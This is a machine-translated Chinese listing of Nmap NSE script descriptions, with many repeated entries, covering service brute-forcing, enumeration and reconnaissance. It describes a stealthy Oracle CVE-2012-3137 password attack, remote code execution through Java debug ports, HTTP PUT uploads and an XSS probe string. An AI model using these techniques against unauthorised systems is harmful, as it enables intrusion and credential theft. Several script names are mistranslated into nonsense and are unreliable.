对 Oracle 服务器执行暴力密码审计。
- 预言机蛮力隐身
-
利用 CVE-2012-3137 漏洞,这是 Oracle 的 O5LOGIN 身份验证方案中的一个弱点。该漏洞存在于 Oracle 11g R1/R2 中,允许将会话密钥链接到密码哈希。当以有效用户身份启动身份验证尝试时,服务器将使用会话密钥和盐进行响应。一旦收到脚本将断开连接,从而不记录登录尝试。然后可以使用会话密钥和盐来暴力破解用户密码。
- oracle-sid-brute
-
根据 TNS 侦听器猜测 Oracle 实例/SID 名称。
- pcanywhere-brute
-
针对 pcAnywhere 远程访问协议执行暴力密码审计。
- pgsql-brute
-
对 PostgreSQL 执行密码猜测。
- pop3-总
-
尝试通过猜测用户名和密码来登录 POP3 帐户。
- 重新分配
-
针对 Redis 键值存储执行暴力密码审计。
- rexec-brute
-
对经典的 UNIX rexec(远程执行)服务执行暴力密码审计。
- rlogin-brute
-
针对经典的 UNIX rlogin(远程登录)服务执行暴力密码审计。此脚本必须在 UNIX 上以特权模式运行,因为它必须绑定到低源端口号。
- rpcap-brute
-
针对 WinPcap 远程捕获守护程序 (rpcap) 执行暴力密码审计。
- rsync-brute
-
针对 rsync 远程文件同步协议执行暴力密码审计。
- rtsp-url-蛮力
-
尝试通过测试监控 IP 摄像机等设备上的常见路径来枚举 RTSP 媒体 URL。
- 啜饮野蛮
-
针对会话发起协议 (SIP) 帐户执行暴力密码审计。该协议最常与 VoIP 会话相关联。
- 蛮横的
-
尝试通过 SMB 猜测用户名/密码组合,存储发现的组合以用于其他脚本。将尽一切努力获取有效的用户列表并在实际使用之前验证每个用户名。当一个用户名被发现时,除了被打印出来,它还被保存在 Nmap 注册表中,以便其他 Nmap 脚本可以使用它。这意味着如果你要运行
smb-brute.nse
,你应该运行smb
你想要的其他脚本。对于 Vista 之前的 Windows 版本,这会以不区分大小写的方式检查密码,在找到密码后确定大小写。 - smtp 暴力破解
-
使用 LOGIN、PLAIN、CRAM-MD5、DIGEST-MD5 或 NTLM 身份验证对 SMTP 服务器执行暴力密码审计。
- snmp 暴力破解
-
尝试通过暴力猜测来查找 SNMP 社区字符串。
- 袜子蛮
-
对 SOCKS 5 代理服务器执行暴力密码审计。
- ssh 暴力破解
-
对 ssh 服务器执行暴力密码猜测。
- svn-brute
-
对 Subversion 源代码控制服务器执行暴力密码审计。
- 远程登录
-
对 telnet 服务器执行暴力密码审计。
- tso-枚举
-
IBM 大型机 (z/OS) 的 TSO 用户 ID 枚举器。TSO 登录面板通过以下消息告诉您用户 ID 何时有效或无效:
IKJ56420I Userid <user ID> not authorized to use TSO
。 - vmauthd-brute
-
针对 VMWare 身份验证守护进程 (vmware-authd) 执行暴力密码审计。
- vnc 蛮力
-
对 VNC 服务器执行暴力密码审计。
- vtam 枚举
-
许多大型机使用 VTAM 屏幕连接到各种应用程序(CICS、IMS、TSO 等等)。
- xmpp 蛮力
-
针对 XMPP (Jabber) 即时消息服务器执行暴力密码审计。
显示有关 IPv6 地址的额外信息,例如可用的嵌入式 MAC 或 IPv4 地址。
显示 AFP 服务器信息。此信息包括服务器的主机名、IPv4 和 IPv6 地址以及硬件类型(例如 Macmini
或MacBookPro
)。
检索需要身份验证的 AJP 服务(Apache JServ 协议)的身份验证方案和领域。
通过发送 OPTIONS 请求来发现 AJP(Apache JServ 协议)服务器支持哪些选项并列出可能存在风险的方法。
从 AMQP(高级消息队列协议)服务器收集信息(所有服务器属性的列表)。
尝试通过查询在目标系统上也必须打开的身份验证守护程序来查找打开的 TCP 端口的所有者。auth 服务,也称为 identd,通常在端口 113 上运行。
连接到 BackOrifice 服务并收集有关主机和 BackOrifice 服务本身的信息。
getinfo
通过调用其 JSON-RPC 接口 从比特币服务器获取信息。
尝试从 Cassandra 数据库获取基本信息和服务器状态。
分析扫描器和报告时间戳的各种服务之间的时钟偏差。
在扫描结束时列出所有发现的凭据(例如,来自暴力破解和默认密码检查脚本)。
尝试通过部分 C-ECHO 请求发现 DICOM 服务器(DICOM 服务提供者)。它还检测服务器是否允许任何调用的应用程序实体标题。
通过请求其名称服务器 ID (nsid) 并询问其 id.server 和 version.bind 值,从 DNS 名称服务器中检索信息。此脚本执行与以下两个 dig 命令相同的查询: - dig CH TXT bind.version @target - dig +nsid CH TXT id.server @target
检查 DNS 服务器是否允许查询第三方名称。预计将在您自己的内部名称服务器上启用递归。
尝试使用 DNS 服务发现协议发现目标主机的服务。
连接到 Erlang Port Mapper Daemon (epmd) 并检索节点列表及其各自的端口号。
尝试使用手指服务检索用户名列表。
从 Flume 主 HTTP 页面检索信息。
通过发送状态查询 UDP 探测来检测 Freelancer 游戏服务器 (FLServer.exe) 服务。
检查 FTP 服务器是否允许匿名登录。
检查 FTP 服务器是否允许使用 FTP 反弹方法进行端口扫描。
发送 FTP SYST 和 STAT 命令并返回结果。
从监听的 Ganglia Monitoring Daemon 或 Ganglia Meta Daemon 中检索系统信息(操作系统版本、可用内存等)。
查询 CORBA 命名服务器以获取对象列表。
列出 gopher 服务根目录下的文件和目录。
从 Apache Hadoop DataNode HTTP 状态页面发现诸如日志目录之类的信息。
从 Apache Hadoop JobTracker HTTP 状态页面检索信息。
从 Apache Hadoop NameNode HTTP 状态页面检索信息。
hadoop-secondary-namenode-info
从 Apache Hadoop 辅助 NameNode HTTP 状态页面检索信息。
从 Apache Hadoop TaskTracker HTTP 状态页面检索信息。
从 Apache HBase(Hadoop 数据库)主 HTTP 状态页面检索信息。
从 Apache HBase(Hadoop 数据库)区域服务器 HTTP 状态页面检索信息。
从监听 hddtemp 服务读取硬盘信息(例如品牌、型号,有时还包括温度)。
利用“家庭网络管理协议”HNAP 检索硬件详细信息和配置信息。它是一种基于 HTTP 简单对象访问协议 (SOAP) 的协议,允许远程拓扑发现、配置和管理设备(路由器、摄像机、PC、NAS 等)
检索需要身份验证的 Web 服务的身份验证方案和领域。
作为 Cisco AnyConnect 客户端连接到 Cisco SSL VPN 并检索版本和隧道信息。
检查 HTTP 服务设置的 cookie。报告任何没有设置 httponly 标志的会话 cookie。报告通过 SSL 设置的任何会话 cookie,不带安全标志。如果 http-enum.nse 也运行,除了根目录之外,它找到的任何有趣的路径都将被检查。
为跨域资源共享 (CORS) 测试 http 服务器,这是域显式选择让另一个域调用某些方法的一种方式。
从网页中获取 favicon(“收藏夹图标”)并将其与已知 Web 应用程序图标的数据库进行匹配。如果匹配,则打印应用程序的名称;否则打印图标数据的 MD5 哈希。
显示网页的“生成器”元标记的内容(默认值:/),如果有的话。
检查在网站文档根目录 /.git/<something>) 中找到的 Git 存储库,并检索尽可能多的存储库信息,包括语言/框架、远程、最后提交消息和存储库描述。
显示“索引”网页的内容。
通过发送 OPTIONS 请求找出 HTTP 服务器支持哪些选项。列出有潜在风险的方法。它单独测试 OPTIONS 标头中未提及的那些方法,并查看它们是否已实现。501/405 以外的任何输出都表明该方法不在 400 到 600 范围内。如果响应落在该范围内,则将其与随机生成的方法的响应进行比较。
此脚本枚举来自启用了 NTLM 身份验证的远程 HTTP 服务的信息。
检查 HTTP 代理是否打开。
检查/robots.txt
Web 服务器上不允许的条目。
通过检查最近提交的日志来枚举 Subversion 存储库的用户。
从 Subversion 存储库请求信息。
显示 Web 服务器默认页面的标题。
用于检测 WebDAV 安装的脚本。使用 OPTIONS 和 PROPFIND 方法。
通过向主机发送四个数据包从 IKE 服务获取信息(例如可用的供应商和设备类型)。此脚本使用主模式和积极模式进行测试,并为每个请求发送多个转换。
检索 IMAP 电子邮件服务器功能。
此脚本枚举来自启用了 NTLM 身份验证的远程 IMAP 服务的信息。
检查是否支持 IP over HTTPS (IP-HTTPS) 隧道协议 [1]。
通过 IPv6 节点信息查询获取主机名、IPv4 和 IPv6 地址。
从 IRC 服务器收集信息。
收集并显示来自远程 iSCSI 目标的信息。
尝试利用 java 的远程调试端口。远程调试端口打开时,可以注入java字节码,实现远程代码执行。此脚本注入并执行返回远程系统信息的 Java 类文件。
通过发送 KNX 描述请求来识别 UDP 端口 3671 上的 KNX 网关。
从 SAP Max DB 数据库中检索版本和数据库信息。
尝试从 MongoDB 数据库中获取表列表。
尝试从 MongoDB 数据库获取构建信息和服务器状态。
尝试确定 Microsoft SQL Server 实例的配置和版本信息。
此脚本枚举来自启用 NTLM 身份验证的远程 Microsoft SQL 服务的信息。
连接到 MySQL 服务器并打印协议和版本号、线程 ID、状态、功能和密码 salt 等信息。
使用 NAT 端口映射协议 (NAT-PMP) 获取路由器的 WAN IP。广泛的路由器支持 NAT-PMP 协议,包括:
- 苹果机场快线
- 苹果机场至尊
- 苹果时间胶囊
- DD-WRT
- OpenWrt v8.09 或更高版本,带有 MiniUPnP 守护程序
- pfSense v2.0
- Tarifa(固件)(Linksys WRT54G/GL/GS)
- 番茄固件 v1.24 或更高版本。(Linksys WRT54G/GL/GS 等等)
- Peplink 余额
通过 NetBIOS NS 检索目标网络接口的 IP 地址。额外的网络接口可能会显示有关目标的更多信息,包括通过多宿主系统找到隐藏的非路由网络的路径。
尝试检索目标的 NetBIOS 名称和 MAC 地址。
从 Novell NetWare 核心协议 (NCP) 服务检索 eDirectory 服务器信息(操作系统版本、服务器名称、安装等)。
打开与 NetBus 服务器的连接并提取有关主机和 NetBus 服务本身的信息。
此脚本枚举来自启用了 NTLM 身份验证的远程 NNTP 服务的信息。
从 NTP 服务器获取时间和配置变量。我们发送两个请求:一个时间请求和一个“读取变量”(操作码 2)控制消息。没有冗长,脚本会显示时间和 version
、processor
、system
、 refid
和stratum
变量的值。详细程度会显示所有变量。
查询 OpenFlow 控制器以获取信息。较新版本的 OpenFlow 协议(1.3 和更高版本)将返回控制器支持的所有协议版本的列表。1.3 之前的版本只返回它们自己的版本号。
解析并显示 OpenLookup(网络键值存储)服务器的横幅信息。
根据Conficker 的点对点通信检查主机是否感染了Conficker.C 或更高版本。
检索 POP3 电子邮件服务器功能。
此脚本枚举来自启用 NTLM 身份验证的远程 POP3 服务的信息。
从 Quake 游戏服务器和其他使用相同协议的游戏服务器中提取信息。
从 Quake3 游戏服务器和其他使用相同协议的游戏中提取信息。
查询游戏服务器的 Quake3 风格的主服务器(除 Quake 3 之外的许多游戏都使用相同的协议)。
此脚本枚举来自启用了 CredSSP (NLA) 身份验证的远程 RDP 服务的信息。
连接到远程 RMI 注册表并尝试转储其所有对象。
连接到 portmapper 并获取所有注册程序的列表。然后它会打印出一个表格,其中包括(对于每个程序)RPC 程序号、支持的版本号、端口号和协议以及程序名称。
确定 RTSP(实时流协议)服务器支持哪些方法。
尝试从 Sun 服务标签服务代理(UDP 端口 6481)提取系统信息(操作系统、硬件等)。
枚举 SIP 服务器允许的方法(INVITE、OPTIONS、SUBSCRIBE 等)
尝试通过 SMB 协议(端口 445 或 139)确定操作系统、计算机名称、域、工作组和当前时间。这是通过使用匿名帐户(或使用适当的用户帐户,如果有的话)开始会话来完成的;它可能没有任何区别;作为对会话开始的响应,服务器将发回所有这些信息。
返回有关 SMB 确定的 SMB 安全级别的信息。
确定 SMBv2 服务器中所有受支持方言的消息签名配置。
尝试获取 SMB2 服务器的当前系统日期和开始日期。
尝试使用 EHLO 和 HELP 来收集 SMTP 服务器支持的扩展命令。
此脚本枚举来自启用了 NTLM 身份验证的远程 SMTP 服务的信息。
尝试通过 hh3c-user.mib OID 枚举 Huawei/HP/H3C Locally Defined Users
从 SNMPv3 GET 请求中提取基本信息。此处使用与服务版本检测扫描相同的探针。
尝试通过 SNMP 枚举网络接口。
尝试查询 SNMP 以获取类似 netstat 的输出。通过提供 newtargets 脚本参数,该脚本可用于识别新目标并将其自动添加到扫描中。
尝试通过 SNMP 枚举正在运行的进程。
尝试从 SNMP 服务中提取系统信息。
尝试通过 SNMP 枚举 Windows 服务。
尝试通过 SNMP 枚举 Windows 共享。
尝试通过 SNMP 枚举已安装的软件。
尝试通过 SNMP 枚举 Windows 用户帐户
确定远程 SOCKS 代理服务器支持的身份验证机制。从 SOCKS 版本 5 开始,袜子服务器可能支持身份验证。该脚本检查以下身份验证类型: 0 - 无身份验证 1 - GSSAPI 2 - 用户名和密码
检查目标上是否正在运行一个开放的 socks 代理。
显示 SSH 主机密钥。
检查 SSH 服务器是否支持过时且安全性较低的 SSH 协议版本 1。
检索服务器的 SSL 证书。打印的有关证书的信息量取决于详细程度。脚本没有额外的冗长,打印有效期和主题的 commonName、organizationName、stateOrProvinceName 和 countryName。
从其 TLS ServerHello 响应中检索目标主机的时间和日期。
检查主机使用的 SSL 证书是否具有与包含的问题密钥数据库匹配的指纹。
确定服务器是否支持过时且安全性较低的 SSLv2,并发现它支持哪些密码。
检查是否支持安全套接字隧道协议。这是通过尝试建立用于承载 SSTP 流量的 HTTPS 层来实现的,如下所述: - http://msdn.microsoft.com/en-us/library/cc247364.aspx
此脚本枚举来自启用 NTLM 身份验证的远程 Microsoft Telnet 服务的信息。
使用 ALPN 协议枚举 TLS 服务器支持的应用层协议。
使用下一个协议协商扩展枚举 TLS 服务器支持的协议。
从 Ubiquiti 网络设备中提取信息。
尝试从 UPnP 服务中提取系统信息。
从 Idera Uptime Infrastructure Monitor 代理获取系统信息。
检测 Ventrilo 语音通信服务器服务版本 2.1.2 及以上版本,并尝试确定版本和配置信息。某些较旧的版本(3.0.0 之前)可能没有默认启用此探测依赖的 UDP 服务。
查询 VNC 服务器的协议版本和支持的安全类型。
检测漏洞并从 VxWorks Wind DeBug 代理收集信息(例如版本号和硬件支持)。
检测 T3 RMI 协议和 Weblogic 版本
从支持 Web 服务动态发现 (WS-Discovery) 协议的设备中检索和显示信息。它还尝试查找任何已发布的 Windows Communication Framework (WCF) Web 服务(.NET 4.0 或更高版本)。
检查您是否被允许连接到 X 服务器。
通过 system.listMethods 方法执行 XMLRPC Introspection。
连接到 XMPP 服务器(端口 5222)并收集服务器信息,例如:支持的身份验证机制、压缩方法、是否支持和强制 TLS、流管理、语言、带内注册的支持、服务器功能。如果可能,研究服务器供应商。
从侦听的 acarsd 守护进程中检索信息。Acarsd 实时解码 ACARS(飞机通信寻址和报告系统)数据。此脚本检索的信息包括守护程序版本、API 版本、管理员电子邮件地址和收听频率。
尝试从 AFP 卷中获取有关文件的有用信息。输出旨在类似于ls
.
显示 AFP 服务器信息。此信息包括服务器的主机名、IPv4 和 IPv6 地址以及硬件类型(例如 Macmini
或MacBookPro
)。
显示 AFP 共享和 ACL。
对 Apache JServ 协议服务器的根目录或任何可选目录执行 HEAD 或 GET 请求,并返回服务器响应标头。
通过 Apache JServ 协议请求 URI 并显示结果(或将其存储在文件中)。不同的 AJP 方法,例如;可以使用 GET、HEAD、TRACE、PUT 或 DELETE。
检测 All-Seeing Eye 服务。部分游戏服务器提供,用于查询服务器状态。
从 AMQP(高级消息队列协议)服务器收集信息(所有服务器属性的列表)。
将 IP 地址映射到自治系统 (AS) 编号。
连接到 BackOrifice 服务并收集有关主机和 BackOrifice 服务本身的信息。
发现和枚举 BACNet 设备根据标准请求收集设备信息。在某些情况下,设备可能不严格遵循规范,或者可能遵循旧版本的规范,并会导致 BACNET 错误响应。此错误的存在将设备肯定标识为 BACNet 设备,但无法枚举。
一个简单的横幅抓取器,它连接到一个开放的 TCP 端口并在五秒内打印出侦听服务发送的任何内容。
查询比特币服务器以获取已知比特币节点的列表
从比特币服务器中提取版本和节点信息
getinfo
通过调用其 JSON-RPC 接口 从比特币服务器获取信息。
发现基于用户提供的 torrent 文件或磁力链接共享文件的 bittorrent 对等方。对等点实现 Bittorrent 协议并共享种子,而节点(仅在给出 include-nodes NSE 参数时显示)实现 DHT 协议并用于跟踪对等点。对等点和节点的集合不相同,但它们通常相交。
从支持 BJNP 协议的远程设备检索打印机或扫描仪信息。已知基于网络的佳能设备支持该协议。
通过思科的增强型内部网关路由协议 (EIGRP) 执行网络发现和路由信息收集。
通过发送发现的网络广播探测来发现 LAN 上的 HID 设备。
发现具有 IGMP 多播成员资格的目标并获取有趣的信息。
通过发送发现广播探测来发现 LAN 上的 Jenkins 服务器。
使用开放最短路径优先版本 2 (OSPFv2) 协议发现 IPv4 网络。
发现正在运行 PIM(协议独立多播)的路由器。
使用原始以太网数据包在选定接口上发送广播 ping,并输出响应主机的 IP 和 MAC 地址,或者(如果请求)将它们添加为目标。运行此脚本需要 UNIX 上的根权限,因为它使用原始套接字。大多数操作系统不会响应广播 ping 探测,但可以将它们配置为这样做。
尝试从 Cassandra 数据库获取基本信息和服务器状态。
使用 CICS 事务 CEMT,此脚本尝试收集有关当前 CICS 事务服务器区域的信息。它收集操作系统信息、数据集(文件)、事务和用户 ID。基于 Ayoub ELAASSAL 的 CICSpwn 脚本。
从 ICA 浏览器服务中提取已发布应用程序的列表。
从 Citrix XML 服务中提取应用程序、ACL 和设置的列表。
从 ICA Browser 服务中提取 Citrix 服务器的列表。
从 Citrix XML 服务中提取服务器场和成员服务器的名称。
从 CoAP 端点转储可用资源列表。
从 CouchDB 数据库中获取数据库表。
从 CouchDB 数据库获取数据库统计信息。
列出由 CUPS 打印服务管理的打印机。
列出按打印机分组的远程 CUPS 服务的当前排队打印作业。
从 DAAP 服务器检索音乐列表。该列表包括艺术家姓名以及专辑和歌曲名称。
从 Daytime 服务中检索日期和时间。
在 TCP 或 UDP 端口 523 上连接到 IBM DB2 管理服务器 (DAS) 并导出服务器配置文件。此请求不需要身份验证。
向 UDP 端口 67 上的主机发送 DHCPINFORM 请求,以获取所有本地配置参数,而无需分配新地址。
尝试通过部分 C-ECHO 请求发现 DICOM 服务器(DICOM 服务提供者)。它还检测服务器是否允许任何调用的应用程序实体标题。
使用 DICT 协议连接到字典服务器,运行 SHOW SERVER 命令并显示结果。DICT 协议在 RFC 2229 中定义,该协议允许客户端从一组自然语言词典数据库中查询词典服务器的定义。
尝试通过暴力猜测常见子域来枚举 DNS 主机名。使用该dns-brute.srv
参数,dns-brute 还将尝试枚举常见的 DNS SRV 记录。
针对 DNS 服务器执行 DNS 缓存侦听。
根据最佳实践检查 DNS 区域配置,包括 RFC 1912。配置检查分为多个类别,每个类别都有许多不同的测试。
使用 edns-client-subnet 选项执行域查找,该选项允许客户端指定查询应该源自的子网。该脚本使用此选项来提供许多地理分布的位置,以尝试枚举尽可能多的不同地址记录。该脚本还支持使用给定子网的请求。
使用分析 DNS 服务器响应代码的技术对 IPv6 网络执行快速反向 DNS 查找,以显着减少枚举大型网络所需的查询数量。
使用 DNSSEC NSEC-walking 技术枚举 DNS 名称。
尝试从支持 DNSSEC NSEC3 记录的 DNS 服务器枚举域名。
通过请求其名称服务器 ID (nsid) 并询问其 id.server 和 version.bind 值,从 DNS 名称服务器中检索信息。此脚本执行与以下两个 dig 命令相同的查询: - dig CH TXT bind.version @target - dig +nsid CH TXT id.server @target
尝试使用 DNS 服务发现协议发现目标主机的服务。
枚举给定域名的各种公共服务 (SRV) 记录。服务记录包含给定服务的服务器的主机名、端口和优先级。脚本列举了以下服务: - Active Directory 全局目录 - Exchange 自动发现 - Kerberos KDC 服务 - Kerberos 密码更改服务 - LDAP 服务器 - SIP 服务器 - XMPP S2S - XMPP C2S
通过查询 ZTDNS@abuse.ch 检查目标 IP 范围是否是 Zeus 僵尸网络的一部分。在开始扫描之前,请查看以下信息:
从 DNS 服务器请求区域传输 (AXFR)。
尝试从支持 DRDA 协议的数据库服务器中提取信息。该脚本发送一个 DRDA EXCSAT(交换服务器属性)命令包并解析响应。
此 NSE 脚本用于将 EtherNet/IP 数据包发送到已打开 TCP 44818 的远程设备。该脚本将发送一个请求身份数据包,一旦收到响应,它会验证它是对已发送命令的正确响应,然后将解析出数据。解析的信息包括设备类型、供应商 ID、产品名称、序列号、产品代码、修订号、状态、状态以及设备 IP。
连接到 Erlang Port Mapper Daemon (epmd) 并检索节点列表及其各自的端口号。
尝试通过 Apple 远程事件协议枚举进程信息。当通过 Apple Remote Event 协议访问应用程序时,如果应用程序正在运行,服务会在请求身份验证之前以应用程序的 uid 和 pid 进行响应。
执行前向确认的反向 DNS 查找并报告异常结果。
尝试使用手指服务检索用户名列表。
尝试使用称为 firewalking 的 IP TTL 过期技术来发现防火墙规则。
从 Flume 主 HTTP 页面检索信息。
Tridium Niagara Fox 是楼宇自动化系统中使用的协议。基于 Billy Rios 和 Terry McCorkle 的工作,这个 Nmap NSE 将从 Tridium Niagara 系统收集信息。
通过发送状态查询 UDP 探测来检测 Freelancer 游戏服务器 (FLServer.exe) 服务。
发送 FTP SYST 和 STAT 命令并返回结果。
从监听的 Ganglia Monitoring Daemon 或 Ganglia Meta Daemon 中检索系统信息(操作系统版本、可用内存等)。
查询 CORBA 命名服务器以获取对象列表。
查询 GKRellM 服务以获取监控信息。进行单轮收集,显示请求时的信息快照。
列出 gopher 服务根目录下的文件和目录。
从 GPSD 网络守护程序检索 GPS 时间、坐标和速度。
从 Apache Hadoop DataNode HTTP 状态页面发现诸如日志目录之类的信息。
从 Apache Hadoop JobTracker HTTP 状态页面检索信息。
从 Apache Hadoop NameNode HTTP 状态页面检索信息。
hadoop-secondary-namenode-info
从 Apache Hadoop 辅助 NameNode HTTP 状态页面检索信息。
从 Apache Hadoop TaskTracker HTTP 状态页面检索信息。
从 Apache HBase(Hadoop 数据库)主 HTTP 状态页面检索信息。
从 Apache HBase(Hadoop 数据库)区域服务器 HTTP 状态页面检索信息。
从监听 hddtemp 服务读取硬盘信息(例如品牌、型号,有时还包括温度)。
利用“家庭网络管理协议”HNAP 检索硬件详细信息和配置信息。它是一种基于 HTTP 简单对象访问协议 (SOAP) 的协议,允许远程拓扑发现、配置和管理设备(路由器、摄像机、PC、NAS 等)
通过查询http://www.bfk.de/bfk_dnslogger.html上的在线数据库,发现解析为目标 IP 地址的主机名。
通过查询 Google 的证书透明度日志数据库 ( https://crt.sh ) 来查找 Web 服务器的子域。
通过查询http://ip.robtex.com/上的在线 Robtex 服务,发现解析为目标 IP 地址的主机名。
从网页中获取附属网络 ID(例如 Google AdSense 或 Analytics、Amazon Associates 等)。这些可用于识别具有相同所有者的页面。
检查目标 http 服务器是否启用了 mod_negotiation。可以利用此功能来查找隐藏的资源并使用更少的请求来爬取网站。
尝试检索启用了 mod_status 的 Apache 网络服务器的服务器状态页面。如果服务器状态页面存在并且似乎来自 mod_status 脚本将解析有用的信息,例如系统正常运行时间、Apache 版本和最近的 HTTP 请求。
确定 ASP.NET 应用程序是否已使用 HTTP DEBUG 请求启用调试。
爬取网站以查找需要基于表单或基于 HTTP 的身份验证的网页。结果以表格形式返回,其中包含每个 url 和检测到的方法。
爬取网站并尝试识别已发现文件的备份副本。它通过请求文件名的许多不同组合来实现这一点(例如 index.bak、index.html~、index.html 的副本)。
解码 HTTP 响应中任何未加密的 F5 BIG-IP cookie。BIG-IP cookie 包含有关后端系统的信息,例如内部 IP 地址和端口号。有关更多信息,请参见此处:https: //support.f5.com/csp/article/K6917
通过对随 CakePHP 框架提供的默认文件进行指纹识别,获取使用 CakePHP 框架构建的 Web 应用程序的 CakePHP 版本。
衡量网站交付网页所需的时间,并返回获取页面所需的最大、最小和平均时间。
作为 Cisco AnyConnect 客户端连接到 Cisco SSL VPN 并检索版本和隧道信息。
从 HTTP 响应中提取和输出 HTML 和 JavaScript 注释。
为跨域资源共享 (CORS) 测试 http 服务器,这是域显式选择让另一个域调用某些方法的一种方式。
从类似 HTTP 的服务中获取日期。还打印日期与本地时间的差异。本地时间是发送 HTTP 请求的时间,因此差异至少包括一个 RTT 的持续时间。
使用各种 Web 应用程序和设备使用的默认凭据进行访问测试。
使用已知模块和主题列表枚举已安装的 Drupal 模块/主题。
通过利用 Drupal 最受欢迎的模块 Views 中的信息泄露漏洞枚举 Drupal 用户。
枚举流行的 Web 应用程序和服务器使用的目录。
此脚本会爬取网站并返回任何错误页面。
从网页中获取 favicon(“收藏夹图标”)并将其与已知 Web 应用程序图标的数据库进行匹配。如果匹配,则打印应用程序的名称;否则打印图标数据的 MD5 哈希。
该脚本会爬取网站以查找任何 rss 或 atom 提要。
显示网页的“生成器”元标记的内容(默认值:/),如果有的话。
从 gitweb(Git 修订控制系统的 Web 界面)检索 Git 项目、所有者和描述的列表。
检查主机是否在 Google 的可疑恶意软件和网络钓鱼服务器黑名单中。这些列表会不断更新,并且是 Google 安全浏览服务的一部分。
爬取网站并尝试将所有页面和 url 与给定字符串匹配。匹配项按发现它们的 url 进行计数和分组。
对 Web 服务器的根文件夹 ("/") 执行 HEAD 请求并显示返回的 HTTP 标头。
尝试从 HP iLO 板上提取信息,包括版本和地址。
通过查询 MobileMe Web 服务检索所有启用“查找我的 iPhone”的 iOS 设备的位置(需要身份验证)。
通过 Apple MobileMe Web 服务向 iOS 设备发送消息。该设备必须使用 Find My Iphone 应用程序注册一个 Apple ID。
确定 Web 服务器在发送没有 Host 标头的 HTTP/1.0 请求时是否泄露其内部 IP 地址。
尝试在 Web 服务器中发现 JSONP 端点。JSONP 端点可用于绕过 Web 浏览器中的同源策略限制。
显示“索引”网页的内容。
检查网络服务器是否允许 mod_cluster 管理协议 (MCMP) 方法。
检查网站是否拥有移动版本。
此脚本枚举来自启用了 NTLM 身份验证的远程 HTTP 服务的信息。
检查 HTTP 代理是否打开。
爬取网站并尝试识别开放重定向。开放式重定向是通常将 URL 作为参数并以 HTTP 重定向 (3XX) 响应目标的处理程序。http://cwe.mitre.org/data/definitions/601.html中描述了开放重定向的风险。
尝试从 Web 服务器检索 PHP 版本。PHP 有许多返回图像或文本的魔术查询,这些查询可能会因 PHP 版本而异。此脚本使用以下查询:
/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
: 获得一个 GIF 标志,它在愚人节发生变化。/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
: 获得一个 HTML 学分页面。
使用 HTTP PUT 方法将本地文件上传到远程 Web 服务器。您必须使用 NSE 参数指定文件名和 URL 路径。
尝试从 QNAP 网络附加存储 (NAS) 设备检索型号、固件版本和启用的服务。
通知跨域包括脚本。包含外部 javascript 脚本的网站将其部分安全性委托给第三方实体。
检查/robots.txt
Web 服务器上不允许的条目。
通过查询 Robtex 服务 ( https://www.robtex.com/ip-lookup/ ) 为目标 IP 地址获取最多 100 个转发 DNS 名称。
通过查询http://www.robtex.com/dns/ 上的 Robtex 服务,最多可找到 100 个使用相同名称服务器作为目标的域名。
检测允许匿名访问 KM 单元导航页面的 SAP Netweaver Portal 实例。此页面泄露文件名、ldap 用户等。
检查与 OWASP 安全标头项目中给出的安全性相关的 HTTP 响应标头,并简要说明标头及其配置值。
爬取 Web 服务器并显示其目录结构以及每个文件夹中文件的数量和类型。请注意,列为具有“其他”扩展名的文件是没有扩展名或根文档的文件。
通过检查最近提交的日志来枚举 Subversion 存储库的用户。
从 Subversion 存储库请求信息。
显示 Web 服务器默认页面的标题。
发送一个 HTTP TRACE 请求并显示是否启用了 TRACE 方法。如果启用了调试,它会返回响应中修改的标头字段。
利用 Max-Forwards HTTP 标头检测反向代理的存在。
尝试从 Trane Tracer SC 设备获取信息。Trane Tracer SC 是一个智能现场面板,用于与部署在多个部门(包括商业设施和其他部门)的 HVAC 设备控制器进行通信。
爬取网站并尝试识别内容被反射回用户的输出转义问题。此脚本定位所有参数 ?x=foo&y=bar 并检查这些值是否反映在页面上。如果它们确实被反射,脚本将尝试插入 ghz>hzx"zxc'xcv 并检查哪些(如果有)字符在没有正确 html 转义的情况下被反射回页面。这表明存在潜在的 XSS 漏洞。
检查主机是否允许各种爬网实用程序。
通过使用通用主机名对 http 服务器发出大量 HEAD 请求来搜索 Web 虚拟主机名。
连接到 VLC Streamer 助手服务并列出目录内容。iOS VLC Streamer 应用程序使用 VLC Streamer 助手服务来启用从远程服务器到设备的多媒体内容流式传输。
尝试通过使用恶意负载探测 Web 服务器并检测响应代码和正文的变化来确定 Web 服务器是否受到 IPS(入侵防御系统)、IDS(入侵检测系统)或 WAF(Web 应用程序防火墙)的保护。
尝试检测 Web 应用程序防火墙的存在及其类型和版本。
用于检测 WebDAV 安装的脚本。使用 OPTIONS 和 PROPFIND 方法。
枚举 Wordpress 安装的主题和插件。该脚本还可以通过将版本号与从 api.wordpress.org 提取的信息进行比较来检测过时的插件。
此脚本搜索 xssed.com 数据库并输出结果。
测试已知 ICAP 服务名称的列表并打印有关它检测到的任何服务名称的信息。Internet Content Adaptation Protocol (ICAP) 用于扩展透明代理服务器,一般用于内容过滤和防病毒扫描。
尝试识别 IEC 60870-5-104 ICS 协议。
通过向主机发送四个数据包从 IKE 服务获取信息(例如可用的供应商和设备类型)。此脚本使用主模式和积极模式进行测试,并为每个请求发送多个转换。
此脚本枚举来自启用了 NTLM 身份验证的远程 IMAP 服务的信息。
通过使用扫描的主机作为默认网关向给定目标发送 ICMP 回显请求,检测远程设备是否启用了 ip 转发或“Internet 连接共享”。
尝试使用 Geoplugin 地理定位 Web 服务 ( http://www.geoplugin.com/ ) 识别 IP 地址的物理位置。使用此服务的查找没有限制。
尝试使用 IPInfoDB 地理定位 Web 服务 ( http://ipinfodb.com/ip_location_api.php ) 识别 IP 地址的物理位置。
尝试使用 Geolocation Maxmind 数据库文件(可从 http://www.maxmind.com/app/ip-location获得)识别 IP 地址的物理位置。该脚本支持使用其 API 支持的所有 Maxmind 数据库进行查询,包括商业数据库。
检查是否支持 IP over HTTPS (IP-HTTPS) 隧道协议 [1]。
对主机的 IP ID 序列进行分类(测试对空闲扫描的敏感性)。
通过 Channel Auth 探测执行 IPMI 信息发现。
使用 Multicast Listener Discovery 列出链接本地范围内 IPv6 多播侦听器订阅的多播地址。IANA IPv6 多播地址空间注册表中的地址列出了它们的描述。
通过 IPv6 节点信息查询获取主机名、IPv4 和 IPv6 地址。
检查 IRC 服务器是否有恶意僵尸网络常用的通道。
从 IRC 服务器收集信息。
收集并显示来自远程 iSCSI 目标的信息。
列出向 Internet 存储名称服务 (iSNS) 注册的门户和 iSCSI 节点。
